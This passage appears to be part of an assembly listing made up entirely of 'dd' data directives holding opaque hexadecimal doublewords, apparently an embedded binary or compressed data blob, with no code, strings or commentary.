898CCFE7h, 57DF0500h, 1434C7DAh, 37D7EA5h dd 118B6DA9h, 0DD80D61Eh, 0BB008467h, 786EA217h, 6F7DB8h dd 0F221E175h, 0F383066h, 148EE207h, 0AC253E5Eh, 11E0881h dd 0EAC6F5C0h, 0ABCC02D2h, 17DA97C2h, 5C01E458h, 0DC7F4F21h dd 0C8FC0F39h, 0F4573898h, 2D5D7700h, 0F7C151D9h, 6D620100h dd 69300A1Eh, 25BA12F1h, 6F5000C7h, 0E72871AEh, 0B0FF7407h dd 0EA03E29h, 1794F3h, 93597B86h, 0FE7757E4h, 3A0F1500h dd 8709E1Dh, 1F5C7C74h, 41F802F2h, 7689E303h, 1B56F431h dd 193F4309h, 0BD5CC970h, 38C534FCh, 6000BCD5h, 0DD37FA0Ch dd 0F800D0B9h, 84BFD60Ah, 87DFF7h, 8C0F3291h, 0A44E2D37h dd 7E4AE30Fh, 594B205Fh, 20E241Bh, 6CF588FBh, 68C03B7Fh dd 5600536Ah, 76BC36A8h, 0B4CBBAh, 23702C5Ah, 9C05D79h dd 0A2CC6100h, 0C2C332C5h, 66B004Ah, 4BC10E17h, 2A1342C6h dd 1600CDB6h, 0D055C9AAh, 0A06B005Dh, 76C7D782h, 0A5071074h dd 75065ECEh, 19BB4870h, 276000B1h, 9185A96Ch, 98010A22h dd 646BC079h, 0E870378Dh, 0A69B1E1Dh, 81400597h, 9AC018Bh dd 60A30DF7h, 0A909282Dh, 80A6BC0Bh, 24720833h, 94C005Ch dd 0DA53830Ah, 0B500F45Bh, 48AE37E0h, 1DB3B81Eh, 407E22C0h dd 0D5BD4068h, 0AAC16D0Ah, 8507E470h, 5E8870h, 0B71374Dh dd 470F50F9h, 0C6CE200h, 2B875101h, 0C5A00F0Ah, 4A29B644h dd 0E0862383h, 304D4E0h, 93B8D105h, 24D7C8F5h, 0C2D24920h dd 0AEE00C7h, 2E804424h, 6148B67Ah, 0A85B1C68h, 4C3BCE40h dd 147F32EDh, 0BA785E90h, 14A63E00h, 74918638h, 0DE6A8F0Eh dd 0F176B9Bh, 0FD50E7F0h, 349983h, 23F3A011h, 2053FC3Fh dd 670B0094h, 4C8020CEh, 37FE18h, 48F3A83Fh, 0CC8A8D66h dd 0CD58AD0Eh, 7A3C3FA6h, 3037FB0Dh, 0C4E0C006h, 53700CADh dd 0FB49CDC0h, 5CCC2E00h, 3CCB867Ch, 0F3E20097h, 6D2F91Fh dd 7A0071BCh, 2CD9FE0Ah, 69DDDB4h, 8E43BDBAh, 0F100409Ah dd 0E0C00B55h, 5041C458h, 721F0CB1h, 49B9C098h, 1A3639B6h dd 0D00ED6EEh, 605341DCh, 4BBA8E21h, 0A44800ACh, 10F7D285h dd 9D035C1Fh, 0B2CD4772h, 0DA26EB55h, 118C803Ch, 2EBC688h dd 0B15D5E1Fh, 90E83D4Dh dd 817C6534h, 5B0098F6h, 6BD3E3F0h, 0F847F5E5h, 0D2570762h dd 80F7D4B2h, 0EE5F5835h, 0A0E9C734h, 62CA80BBh, 6FF2F3AEh dd 869FF8A1h, 0FB723F38h, 96B72750h, 0BA915C00h, 0AF0ED4ADh dd 56393FC1h, 89770000h, 0DDAACB4Ah, 0BF0D4018h, 0DCA8A591h dd 0F4BA33Ch, 1AB93F6h, 0A6279FE6h, 35E12880h, 78CEAE22h dd 36AADC0Eh, 0E6057F3Eh, 24E3615Dh, 7E4CD583h, 0C9028388h dd 0D905D8C2h, 52340072h, 9C009F8Ch, 48C19986h, 0A4B778Ah dd 675F8E73h, 0C23068Ch, 0F3E330DAh, 0F27D6C00h, 0FC205401h dd 0F445035Dh, 0C22BD48h, 2880B02Ah, 0B6957019h, 0C0434719h dd 57990E9Bh, 0A9B92B61h, 0F54B3049h, 367C60A6h, 0A8C3687Dh dd 0A49F8AD6h, 4FBD4A41h, 5390480Dh, 0F403F379h, 7F42AE54h dd 2425F349h, 142CA579h, 2B9E7C55h, 33711E84h, 22E11179h dd 84F1A079h, 0D3062742h, 40F6F31Eh, 8D5A3205h, 48447A9Fh dd 363C1B66h, 49837330h, 3077825Dh, 0C4388939h, 180025C9h dd 7D8F66F1h, 30169CDAh, 0C1A9D8BDh, 2F505B39h, 54003F18h dd 0CF4A945Ch, 621ACD76h, 2E9D5924h, 70601C8Eh, 48FE8999h dd 0CC7CF529h, 1BF0F107h, 0D811ECh, 4554CE81h, 0DD51B2A0h dd 0DEBCCC54h, 0D001F078h, 890158B7h, 31D83408h, 35478D7h dd 0CBC4C89Ah, 1000DC9Bh, 5092B369h, 3C52016h, 0F1421355h dd 69407DCBh, 0C1C071DCh, 868C4C48h, 0E4611445h, 789BA097h dd 0CBC8B3B8h, 3005B49h, 0BABE1BA2h, 0EA990CEBh, 83A0F0BBh dd 0FEEF6A06h, 0A10D18Bh, 5E691B35h, 5B1D0084h, 4355CFC9h dd 0A48CA00h, 1F963EF3h, 1A60C780h, 0E21598D4h, 6BCCF040h dd 94DC21D5h, 9109D644h, 90671684h, 0D4713420h, 0F1D95109h dd 0AC64281Eh, 432AF911h, 410C654h, 0C94420B1h, 415926BFh dd 1C480950h, 0DA5E4820h, 0C6EACFB0h, 0B1309F30h, 24360D3Eh dd 9538AA14h, 0A080C76h, 2D88A9B0h, 0C6C24289h, 0EB17EA02h dd 4A04268h, 1B4DA1FEh, 25CB5F0h, 0A00C9FF0h, 78488D26h dd 29C077B7h, 0C71CCE52h, 8AA20081h, 92E7671Dh, 12004DBAh dd 4A3C1B14h, 7DAA4299h, 0DD68090Eh, 0D080CADAh, 0A28C50Dh dd 6FA749C7h, 1FE006A7h, 7AB8F6DCh, 6DB0009Ch, 0C42F1292h dd 7900FAB4h, 80F86BD5h, 9AE24E5h, 82DDF297h, 0BB1D00Eh dd 226B73B1h, 2076B7B4h, 0DE9B6EAEh, 8024C639h, 1DD3D142h dd 0D2B041h, 67855C6Ah, 105BBB55h, 0EA26D890h, 4080180Fh dd 204BEC0Ah, 5ABB00CCh, 0D68E9552h, 800489C4h, 6F1AE2D4h dd 0E47325C0h, 0F06E0260h, 6282457Eh, 4844D062h, 4A46B117h dd 4C206C59h, 0BAFCD460h, 0A90E6044h, 7EFDC9B3h, 0EBD6A200h dd 0B07B6A26h, 0C2F326CBh, 0C837020Ch, 622A148h, 0C8E4ECh dd 2C022B32h, 5CB8E3D4h, 5FB051C0h, 70620671h, 0C0EC186Ch dd 0B1BD5E5Bh, 58484B50h, 0E1D2C90Eh, 0F531627Fh, 0EE8C0E8h dd 245E023Ah, 0BEC752E4h, 9C4BB090h, 0B45181C3h, 30B0ED27h dd 0E8810020h, 0BD11165Ah, 0ED0045A2h, 9D6B0155h, 138E306h dd 0FBB1BA7Eh, 0CBF3C4E7h, 0A9740CD3h, 40E04224h, 61EE5E8Ch dd 652C07ECh, 10E72E4Ch, 315D736Dh, 53EE9600h, 8A91554Fh dd 4BAE0564h, 8CB740Fh, 9D80D920h, 4627658Bh, 710E0177h dd 0E0C96DE4h, 7901EFB7h, 0E5B160E7h, 48BA3C8Eh, 40C851E8h dd 0F6B13518h, 421DA4Ah, 5F2F1DC4h, 0FC42145Ch, 0C6E151C2h dd 0BF2B94A3h, 3DF840A4h, 1C71E2F5h, 13CA597h, 0B8E1D554h dd 1C498008h, 4EB5FC66h, 0A6AD0113h, 0FE83C8DAh, 0D40F46Ah dd 0EFD46900h, 1B6FEA1Fh, 9713127Bh, 5D242054h, 81CA5C02h dd 0A664D4CCh, 785A8C22h, 38401C4Bh, 0D8F977A4h, 0A72D3EE1h dd 2319C930h, 7CE833A1h, 5860D400h, 368C7BF9h, 0D0F8A3E7h dd 16FD91Bh, 0B07FCA69h, 62B8E26Ch, 8CD307C8h, 0B6533EC0h dd 174A9023h, 53F127Bh, 0B128424Dh, 0A0A93670h, 0A3EA2418h dd 0CD820F00h, 9FCA5905h, 0C3A400E7h, 0DA03D7C5h, 0F2034D2Ah dd 6AAF347Eh, 22410018h, 9AC8D207h, 0E601C531h, 0CDBFD357h dd 598179B7h, 0E14C8862h, 37E8FBE2h, 3009DFDh, 853269D4h dd 29DCEBE6h, 8A06502h, 0B8A2CA8Fh, 8E014D00h, 13818388h dd 404096D3h, 0DAAE918Ch, 803C2648h, 0C8BF76EDh, 2CE717BEh dd 69C50072h, 0D2563DECh, 0F7502B98h, 10FB70CCh, 949F0F7Eh dd 55EF826Ch, 0F8451EDCh, 449C82Eh, 0D840BE74h, 0FC0B4BE9h dd 0E3506F0Dh, 0D85119BFh, 8208C88Bh, 44B725h, 0E3C63BDCh dd 81D4008Ah, 36C85DA6h, 0E076D84h, 0AA5E76B5h, 0BF6A403Fh dd 1E48476Ch, 58528FEh, 0E128174h, 181B684h, 30AACF23h dd 0A14D2BE4h, 0E5CD0000h, 0FF1EEACAh, 7873007Ah, 0A9AB213Dh dd 0EB074E7Ch, 46CC5868h, 609DC7D2h, 51F8517Ch, 6C2654C1h dd 12A38902h, 0E4A053B7h, 0E69AFB5Ah, 49219400h, 734BA797h dd 48AC609Dh, 5185837Eh, 854C9B39h, 6AED7FC8h, 0F1AEA0D0h dd 88EF7B2Dh, 5E01FA94h, 0BBF63CB2h, 4C244353h, 0DC4A82Ch dd 724DEEE1h, 0A4D500B3h, 694571D3h, 5D098D43h, 85EBE71Ch dd 0FC231A94h, 8145F8DCh, 0F799008Bh, 0D1D53C59h, 0FBE257EAh dd 1FC4BF13h, 30DF1820h, 26377866h, 40A46A33h, 0FB8DBD3Eh dd 0C01B5803h, 32131FCDh, 0DF393808h, 15FDD380h, 5524D3D7h dd 0B540B8B6h, 2041A5h, 46A0C630h, 8E7285E5h, 1A21D500h dd 0E76BD47Eh, 0D7933D1Dh, 24ED30F8h, 0C61744E9h, 0FC978F02h dd 0A7F3EF25h, 42E07E90h, 0CAB598Dh, 567AA4A8h, 1D71F1E9h dd 0FC83C228h, 1AC4C30Ch, 74D5897Fh, 0F3405ADh, 90BE2481h dd 428EE46Ch, 8185E125h, 1DD432C0h, 0CD80D500h, 4058F630h dd 0CD8372Dh, 5C0F5A23h, 4607D538h, 675DE83Ch, 95D02D80h dd 5449C1FDh, 20510E6Ch, 0B50ABDA9h, 18D28AB1h, 0C040E347h dd 25C79780h, 58E0CE8Bh, 211D69DDh, 0ACC09673h, 727CFA7Ah dd 484B0427h, 86C3509Dh, 0D74C8448h, 0A5007BF4h, 8F2DDD5Bh dd 2CE3ED87h, 4E46302h, 96CB5FCAh, 1A30B8D0h, 0B544F1ACh dd 91BD28DEh, 0E89F459Ch, 0F158951h, 0F986402h, 3333642h dd 0C0CA874Fh, 148D7EBh, 0A347E55Ah, 0EBC1E61Eh, 721BC8E1h dd 81D13DCCh, 0E03F609Ch, 58E81FF3h, 40BEE8F2h, 2D03309Dh dd 1DC5279Ch, 8A690651h, 0D0B38377h, 3E53E0Ch, 0F880B8C9h dd 18EE617Fh, 3C2BCB8Ch, 7EB31264h, 94081013h, 0B136C3F6h dd 180C8E99h, 23228801h, 0A9E4B103h, 28EF3ECCh, 44B6F9h dd 25AAE0D1h, 9F9C7836h, 48BADE3Eh, 8D7E0324h, 60EEABCBh dd 0E29E3998h, 0E63F73D8h, 1BC61BD6h, 0DC200E96h, 0AA047F4Ah dd 4FD0C0C1h, 83E0C0D7h, 0F5BDEB12h, 0C02FF848h, 4BBC5C50h dd 52F40648h, 0F8474AF8h, 2B0F603h, 1C5141Bh, 0D22B41BEh dd 0EB54C960h, 344020C2h, 65008880h, 93FF3EFDh, 2BF18Ch dd 0FAA18337h, 0D957AC0Ch, 7DA4C200h, 7935A9AEh, 70DB0089h dd 1342222Ah, 7C00A691h, 6225022Eh, 3F3A5148h, 0BF007832h dd 0ED04B090h, 7C07936Dh, 2140143Dh, 4B3F58A0h, 0AE7000FFh dd 0E21F4742h, 0D1002E84h, 24CE1E6Bh, 3D465BB0h, 53BDC638h dd 2D9FF700h, 13C0175Ch, 0D5EFBF00h, 382F7A4Eh, 0DD07002Ch dd 742804C7h, 0C81F776Bh, 408710EBh, 6027B003h, 0A6E54347h dd 2914F681h, 27C4D8h, 0AC1B26E6h, 1783202Bh, 7C34A601h dd 45D0DBB8h, 5A2800C7h, 0CDE9598Fh, 7600474Ch, 4AA039B3h dd 3955E28h, 9A91BF36h dd 3E98AC54h, 93003FB1h, 42943088h, 0EDC292Eh, 53411C09h dd 0CC59A019h, 80C0C5DDh, 5FB52254h, 0B1F40045h, 0EC909DD4h dd 3006152h, 382179DDh, 301BA55Dh, 8FE18093h, 0DF182FB5h dd 4D10FF34h, 371F3CEBh, 0DAD4AB80h, 7819FC27h, 2C6FB800h dd 28BB5EDDh, 0C32900FDh, 77E2D83Eh, 30AB774h, 0B5EA6886h dd 0FA14A400h, 3D2548F6h, 7583E481h, 8B4EB48Eh, 0B540F4B2h dd 3E31E233h, 812309F6h, 0C2EB2080h, 9DE001EFh, 0E713DE00h dd 793C96F0h, 0E8141836h, 0E53249BDh, 20713E00h, 311D80E7h dd 5D4008Fh, 2B0E36F7h, 3F017A79h, 0AFDCAB73h, 0B0E0A075h dd 2EF04Eh, 0A9090A8Dh, 1741EDBh, 3208C463h, 4B2007AFh dd 0B0D30A8Ah, 3B531114h, 0DA516100h, 0EBB482CBh, 58156C1Ah dd 0C4E86888h, 113F3630h, 3BF922Eh, 1A04C88Ah, 1ED3CF03h dd 0F7E834A1h, 0BA7AB0B0h, 385E3700h, 0E3CD0E75h, 74D30983h dd 0AB00C91Dh, 0F873922Fh, 65F094EBh, 8C3BAC30h, 2B296600h dd 0AB64F468h, 6C731883h, 37A25077h, 0B9E8E51Eh, 0F8C7A3DCh dd 1DB08946h, 79E6DEA5h, 8C9E0042h, 3E4A53FAh, 4C00FB80h dd 6434DA40h, 312696h, 36900471h, 4D68B016h, 55F58200h dd 19A9661Eh, 0BF14092Eh, 0E474EFD5h, 0B1C01F1Ch, 25A3F859h dd 0A92C00CCh, 0BA61A757h, 0D032AA6Ch, 0B58110FCh, 221C8604h dd 6607100Bh, 0B3AD6D13h, 7EE3807h, 4EB00633h, 0EFF421h dd 0AAC07C5Ch, 646F2FA3h, 8629A00h, 0F13DDBF6h, 0FAAE0038h dd 95EA1102h, 8B98B80Ah, 92F68101h, 938E78D2h, 421A006Ah dd 119139ACh, 4638A100h, 0B626D7C7h, 0BED30390h, 3130A7B2h dd 0AB1F87F0h, 4F9B8500h, 6B595C33h, 63E33FEAh, 0A6D50580h dd 0D25D10AFh, 699E4E00h, 0FC7AB57Bh, 400C01F6h, 0A6B982F3h dd 256AC460h, 9D001EFAh, 91B1766Fh, 16669B0h, 0F1AE1D0h dd 0FC953437h, 0D9003E55h, 4DC546AEh, 0E0BE46Ah, 2768F8B1h dd 0B6AFED20h, 1E018B54h, 0BC706762h, 0E93086ADh, 7F71007Ch dd 5B3D739Eh, 0AE00063Bh, 35D63ADAh, 4C2F72FAh, 0F7FFFC2h dd 0E6E1AF20h, 0C01CC387h, 18629719h, 3E72FB00h, 0C471D921h dd 25EC40h, 0DB96E1B9h, 460DFF91h, 4A0026F8h, 0A211E076h dd 0FCA32592h, 12EA242Bh, 70F28004h, 52890799h, 51A83100h dd 0AEC6B8CEh, 8CAC000Fh, 0CD38D93Dh, 5077FD81h, 0A496E43Fh dd 9E800852h, 0CFFBB2F2h, 0F7450E21h, 0D02FD325h, 67D8ECE0h dd 532C32F6h, 0C400B6A1h, 0CFF20BFCh, 0E6BC0F23h, 0D4000350h dd 0D761C114h, 0B5AD4Ch, 2A443663h, 1656E64h, 0EEAE1D6Dh dd 2046213Ah, 0A0067C0h, 0CE294C47h, 3077E1D4h, 0F79C51FBh dd 0B800D52Ah, 61E68B91h, 0C4A2E05h, 2380C24Fh, 0AE20B1B8h dd 0F2AD01D2h, 0F627AB7Dh, 3023061h, 0CFE00F01h, 5A22DABDh dd 346B8F0h, 1E5D4132h, 0F580E560h, 8900D418h, 6DAA72E4h dd 4D7306h, 11A6E3C8h, 1A5FB64Fh, 8F293300h, 0D76FF0BBh dd 2B6A0024h, 39F17D09h, 94739660h, 1FB9B48h, 83A1EA16h dd 9990498Fh, 75D4807Eh, 0F109AAh, 6B1C9532h, 7450EEE0h dd 0A13EFC01h, 0D1E6FEB5h, 1F0960CCh, 805D3103h, 946104E4h dd 77F6EC25h, 833ECA00h, 607F5597h, 2AF0A034h, 0AE15284Bh dd 5EE2D4h, 7E3AF2ACh, 0D239CEC4h, 0EE4FE50h, 27DBE90Eh dd 60C0812Ah, 348308h, 0FBDF1FF6h, 0C9768080h, 305109D8h dd 0E6354C07h, 0E8433EBFh, 0C7EBF0CDh, 992809E2h, 0F8007B3Ah dd 4A23B1ACh, 0AD259500h, 0D35AEB8Dh, 0C27400DEh, 6182977Ch dd 5E02A730h, 0E5679E09h, 8470406Eh, 0F877601Eh, 0EB15B241h dd 81A47800h, 7D191D39h, 122F06A8h, 3040F0EAh, 0A19BC300h dd 9D6EFC1Ch, 42E693h, 0C50C6623h, 5448D80h, 8B693Ch, 0B1A3F31Fh dd 38BB6F49h, 0B50784FDh, 20E23C72h, 1F0F09EDh, 0DDC13200h dd 0BDF748FBh, 0EB5300C0h, 0EF7324CFh, 0BE0030AFh, 0DD757F1Dh dd 3BC4524Ah, 5F0259FAh, 133EB987h, 0F8D9FAE1h, 86E071C0h dd 0C4D0BE00h, 0FD85174Bh, 0EDBF0088h, 0D32B9298h, 84022150h dd 63106741h, 80B44358h, 6EEFFEh, 9F1DA029h, 689BF416h dd 0D089F824h, 88998500h, 766AB424h, 94E700A2h, 3F4C6DECh dd 0EE7B11CEh, 5D24D002h, 8027BE31h, 939E56D8h, 60980Ah dd 0A43B07D7h, 0F46CBCF3h, 0A5BBF614h, 0B8483091h, 6B2A2Dh dd 31AAB335h, 5DE898A9h, 6F56602h, 405839DEh, 0EE7F8CD4h dd 191E00FFh, 92F77430h, 0AC0E0BF8h, 0A32141B3h, 0B0CF20A0h dd 3D18B29h, 0F554C405h, 7CE8B68Dh, 300BF13h, 70C5655h dd 7E1A4AF9h, 0FC530028h, 270BDDAh, 420E753Fh, 42DC6AB1h dd 68ED8A3Eh, 511C6464h, 0D9C4BC96h, 2494A8EFh, 804B1C49h dd 911076Eh, 96800FE0h, 70669BF3h, 0B491EE03h, 90320B53h dd 764A7425h, 0D1A80033h, 61D7939Bh, 3A00215Eh, 53071C4Ch dd 9AA4E717h, 0F69E058Ch, 4067EE49h, 51FAE4D4h, 3E004E33h dd 7FE50474h, 30F57D1Bh, 35901E56h, 271E7648h, 0F6C06206h dd 63174736h, 6AD6007Eh, 2F94E33Ah, 5D00EB91h, 0D21455DDh dd 0EFF5F98h, 0B4507F39h, 0D0DF5A67h, 0B2FE2183h, 96FC350Ch dd 1F62F431h, 41CD3211h, 92AD8FA7h, 879DE017h, 7B1B0903h dd 0B83DE014h, 7FB47C49h, 0BD7A3Bh, 9327F328h, 9ACF16Ch dd 0C469EF00h, 0C61DC275h, 0B34D0EFAh, 448E5CE9h, 94A14C00h dd 14007C21h, 4FFCC276h, 8FBFAEh, 0BEA087DEh, 0F9DF85E2h dd 0D7367D03h, 90118039h, 0E5444Eh, 789F3273h, 2F1E1819h dd 0A2625Ch, 4BEC09B7h, 7935A29h, 0BAB838C3h, 1B6870E9h dd 54000311h, 0CC466C1Dh, 0D8D7C1h, 0EA67FDE3h, 32A04D2Bh dd 0C03DDE00h, 9BD92458h, 4B80Bh, 3C92454Bh, 0C9228191h dd 0A6CC1A00h, 730234E5h, 0AA830023h, 0D6AC13C4h, 0F316E027h dd 6C405C9Ch, 0DC7A2A32h, 1C1CF458h, 60A869h, 6541C913h dd 500500Dh, 2C7568FBh, 0E2D4CEFh, 0C4AC53F0h, 0BC8D30E0h dd 3B3F3D16h, 0BDC811Bh, 0F8201F48h, 617AD7h, 0C71CCC9h dd 6C220533h, 0D0FB3F2Fh, 79AFECEh, 5E7ADA6Bh, 0D0CFD4D7h dd 0C5A4EBCh, 18142A03h, 0A7841F74h, 0A3B74AA0h, 0F6AB0072h dd 7B222E7Ah, 541E6797h, 7EC0D30Eh, 0D84260C8h, 0C091C4Ch dd 525562Ch, 0D7852DB7h, 539531ECh, 8968BF7Bh, 484018CCh dd 0FB9D414h, 50F6071h, 4A04C54h, 0D9C00A33h, 5D2DF680h dd 7AFD74ADh, 0CF6E1F5Eh, 0C9B9C047h, 44142B0Bh, 80910C39h dd 0FD74F19Fh, 39855398h, 1687CE07h, 10906FB5h, 0DD39D4Bh dd 0BE883200h, 0A33F75F3h, 1235005Dh, 7D169373h, 1B005213h dd 0CB4C54ADh, 1607F5BAh, 0D3BD7h, 0D20CE4A4h, 8F0737B8h dd 0C453AF4Ah, 39DF8B40h, 20444C57h, 0C2D29900h, 1210ED6Fh dd 0FAE7CB07h, 8A50E1D1h, 6C9222h, 1366E68Ch, 1E112C83h dd 7B82D417h, 3F2A8020h, 0D784A180h, 922E9D0h, 493C4CD5h dd 0C7F39287h, 5D698382h, 5C8A3007h, 0BCAA27D7h, 6D9F9C80h dd 194C022Bh, 97F6C0Eh, 0BC2180A1h, 5D129148h, 0CBB10A90h dd 11245837h, 9145819Dh, 0FD502F9h, 0BE88900Ch, 9A91004Eh dd 767CB47Ah, 60002F55h, 0D168D3A2h, 8B20F0h, 1DCD0878h dd 1575E349h, 57E080F9h, 9F38F507h, 1BF4032Bh, 258C540Ch dd 104883A2h, 0C50F3DEEh, 0DDEDC0DEh, 985D4582h, 4D2080D9h dd 27A2799h, 7E557002h, 0F9C0FFD8h, 0DF735368h, 2C569105h dd 4048B28Bh dd 3871C061h, 0D4211F73h, 999125h, 0B5C539EAh, 86BEDDh dd 0D32EECC0h, 6CFFA174h, 20A5470Ah, 0AABB84AAh, 2401DC1Eh dd 0F9E8DCCFh, 0FB70844Bh, 44A1277h, 85700542h, 10442E6Bh dd 5BC0E340h, 5F048189h, 9E2A69C6h, 5E1E00A9h, 213A9363h dd 6703BB40h, 0D77E614Fh, 3E99A8DAh, 605301DBh, 7A35D1E0h dd 0E9202095h, 0D604D700h, 643FD271h, 58A66001h, 6B0CD537h dd 2C3E700Fh, 0CCEDE785h, 21FB46h, 4A0C805Dh, 51CA2749h dd 0B372470Fh, 6B77C076h, 0ECAD4FFEh, 2DEF078Bh, 0A0FAC597h dd 9C9BFCCEh, 0D20675E0h, 0C7CCB91h, 8B6702C8h, 1E248003h dd 0EC6CC9C0h, 0A9CE0B00h, 78F7D8CCh, 7F933013h, 0AE9DA720h dd 97C14714h, 0B76DE120h, 0D200D118h, 0D9A7DD43h, 9C2D8091h dd 279A8138h, 8E6FA2B6h, 359D9930h, 85BF13A8h, 87B34041h dd 0E1E89AE5h, 0A9C13C52h, 1C259D03h, 20CFC474h, 0EFAD238Ch dd 0B5062A71h, 0A9D5E67Fh, 19DCA049h, 0BA71C058h, 8BE610ABh dd 57887350h, 6E460490h, 4438F602h, 5D319C1Fh, 0C53EED10h dd 7C9ABA03h, 0DA68099h, 0F0078269h, 0D274F0D9h, 18851D0h dd 0CE0A95DCh, 89A05E54h, 47F421F8h, 740CDC80h, 86CCE670h dd 92313360h, 0DB0CC3h, 0DFE3AFEEh, 4BBF8807h, 0EF4AA3Bh dd 4029E71Dh, 0C151BDF3h, 27921DE9h, 0C471154Eh, 0E34BC705h dd 6A742072h, 1F1240C1h, 0FC2C183Ch, 38720B11h, 6B0070A5h dd 78806759h, 2AD99163h, 824900D3h, 1ACC0764h, 75181D06h dd 2B88E8E5h, 545230B8h, 92784CC1h, 9E25183Bh, 9072955Bh dd 38F8306Ch, 882B9E34h, 9C964848h, 4BC500E7h, 3FFEFD50h dd 8E8A9100h, 0D0037A55h, 18F00468h, 0D07EB323h, 2DB82634h dd 8D668B0Fh, 0F32900C0h, 18B9C80Bh, 99517F80h, 74B15358h dd 2D7CEF00h, 0BAAA2C0h, 8E4DA517h, 0D79918A2h, 9CBD7880h dd 4724B320h, 20287844h, 6B016F46h, 4429BDC4h, 14010B18h dd 988B3873h, 4440D9D4h, 10242E1Ch, 0CBC0D09Ch, 679D86Dh dd 0EC041901h, 8428F4A8h, 3E14424h, 62109456h, 48C88691h dd 130151BFh, 8CD877A1h, 84501B64h, 2DF9845h, 962B2765h dd 1C407028h, 4928C323h, 0AF00A807h, 2C995DD7h, 505F78A5h dd 54F40Bh, 5A505342h, 0AFEC8AE4h, 850011F2h, 201E234Ah dd 0D30532DBh, 5309AB40h, 840FC4h, 0F81B5114h, 9A8E7B2Ch dd 8647E480h, 610D0F02h, 19CCEE70h, 0C29710F0h, 114F000Ch dd 0D872E06Dh, 832CDBC6h, 0DC895033h, 81249131h, 0DE5A3410h dd 94794Ch, 0D9A5B17Fh, 0CC6F2B0h, 0CECC22BCh, 2CEC3229h dd 0B6543107h, 0C3104EBBh, 26053461h, 5ED47027h, 80A76421h dd 74B8EF3Dh, 9B2CC82Eh, 69176E38h, 298700FBh, 0C15C8F23h dd 4100F8B3h, 3C665D91h, 4280850Eh, 9CF5914Bh, 0F6600BFh dd 0FDD7A8BBh, 99C0FC51h, 8E97A9ACh, 0B7400DDh, 23175E61h dd 2D011552h, 0AA8C75CAh, 1867B1F2h, 11E5DFB0h, 43B9C588h dd 2022F40Ah, 18603A94h, 1A48DF8Eh, 0B83E2B0Ch, 5A0CD603h dd 19DBA26Fh, 9C2180FEh, 0D4AC0CDDh, 0AC700F8h, 0C9D5E7E3h dd 96004D69h, 1352B37Ch, 5645410h, 0CA182D39h, 0DEFC437Dh dd 2AB87EFAh, 0B102CF31h, 0DAD90B0Fh, 0DB36C080h, 0F5EF0A91h dd 3DDCEC71h, 9F1118FFh, 27DDEA73h, 57A9A40Ah, 190528CCh dd 0EFA6D4h, 3F822A6Ch, 53019B95h, 82289D0h, 78EC26C1h dd 296100DAh, 0D330D573h, 1E2C4C90h, 0B6638047h, 7A00D7AEh dd 7C6FD346h, 0D8F200CAh, 7277FB04h, 5D18093Fh, 0A431801Fh dd 48D276D3h, 27008D98h, 34794FF3h, 59494742h, 0A63A004Ch dd 0ED4E4A2Bh, 50B862h, 27702FBFh, 93FF84E0h, 5D232D00h dd 299F1705h, 8240032Ah, 0F5B6485Fh, 6346F4F0h, 7F9AFE3Bh dd 5411A498h, 2A00FB55h, 5941E4DEh, 1309C7DAh, 2182D699h dd 51C126C8h, 0BE1DC42Dh, 3FD6E44Fh, 1C96CD80h, 46A90BBDh dd 86CBF112h, 0FFB87840h, 4E59BFh, 0E09D8B17h, 0FCDB3F89h dd 0B5D17C04h, 1A80AE51h, 8BE20Bh, 0B8E8F6C7h, 0B1C4D5A8h dd 72AACB3Dh, 0E12492Eh, 9BB7C805h, 0FE1A046Eh, 41E48E4h dd 0F08DC3Eh, 8014C122h, 1065386Fh, 0F1AB8893h, 0E7A78C08h dd 0D23F0CC8h, 8C64639h, 1538FBA2h, 20778FBFh, 0E6981860h dd 6CFA8DDAh, 624AF719h, 9B247D1h, 18829050h, 4C887669h dd 14793334h, 1C92192Ah, 77A36718h, 0F9270C11h, 0E1B45059h dd 0BF602218h, 411089Ah, 0F0D8F014h, 44A127F8h, 0A1C999A3h dd 1C4CE509h, 5E52333Fh, 22A56470h, 1482BB0Ch, 4C86A85Fh dd 0FF53207Eh, 50A57840h, 25442780h, 0EC02133Dh, 334E0A2Dh dd 98700B9Eh, 84A608F5h, 9C516A04h, 0FC106BF8h, 0EB040BADh dd 79FF070Ch, 0AC30FD10h, 0A074199Ah, 8FC7029Dh, 6E17BACCh dd 0D8E2C1C0h, 2620E350h, 4659201h, 6F9C47DBh, 193D6024h dd 3875A82Dh, 0AD698C0Dh, 0E2645986h, 48C760ECh, 0F49BD314h dd 1B3E800Bh, 7F37012Eh, 488FAD06h, 847C0FFEh, 15D357h dd 0EE1FDBC9h, 18A0FA5Dh, 6996DDE2h, 9C0090E4h, 4F1B3303h dd 0A910D1h, 1AA2F90Bh, 0FF12D901h, 0D8E9D4E0h, 0C83961AFh dd 0F0D87A4h, 6236657Fh, 0DBC007A9h, 41CD8FF9h, 0E0C3152Eh dd 0AD0C4AFBh, 49E4FDEEh, 4009C08Fh, 63A15515h, 53B27900h dd 6C28D1EBh, 0F8B00C6h, 0A5077D69h, 580EC760h, 802CE5F6h dd 0B383AAD9h, 1851313Dh, 0C021E4D9h, 0B0A8FA08h, 12E6B3C5h dd 1A2E8C0h, 0A9A9B98h, 26F9851Bh, 7FAD80A4h, 6929FFC1h dd 0A59C1118h, 0C1C95A0h, 0EBF9826Ah, 40A63B1h, 60D88C85h dd 80D7780Fh, 77E576F6h, 111F8A6h, 86FEA88Eh, 91201B40h dd 0E166F830h, 8F6080Fh, 4348C87Bh, 257E0BD0h, 6D32800Eh dd 6BA2B03h, 929C581Ah, 0D2821D2h, 0C43CB001h, 40A16104h dd 0B4444AF9h, 41ADA081h, 1CAAD187h, 0F669513Fh, 0E5F8EF82h dd 9C725B47h, 48779034h, 0C068A873h, 78334FFDh, 2262EAC8h dd 0AD3092ABh, 73F6591Bh, 174914D6h, 42A0B854h, 4484C45Ch dd 0C60F05E5h, 0C01B7F23h, 485CFECCh, 0F6B8008Ah, 0D084ACD1h dd 0E100F338h, 1923BB67h, 0C0870F6Eh, 5F48C759h, 2B014DEDh dd 6AB373E3h, 0A9F3CFF6h, 3EECBB68h, 8D7F3EE8h, 99236B84h dd 1E14802Dh, 2C0011FFh, 0D6A2BB5Bh, 12E0C739h, 89AAA0Fh dd 4D827B50h, 0C95061F7h, 9CF8092Ch, 81BC9241h, 611115B8h dd 28306480h, 58A32F09h, 0DC12ABh, 7DA964D8h, 2B511405h dd 0C6A18C27h, 8DFB0076h, 0A4ED41F3h, 80E0C51h, 104756E0h dd 73C1A582h, 4EE23F8Ch, 0A612C30h, 52CA874h, 0C59B202Bh dd 0F64C049Dh, 0BC188191h, 1460428Fh, 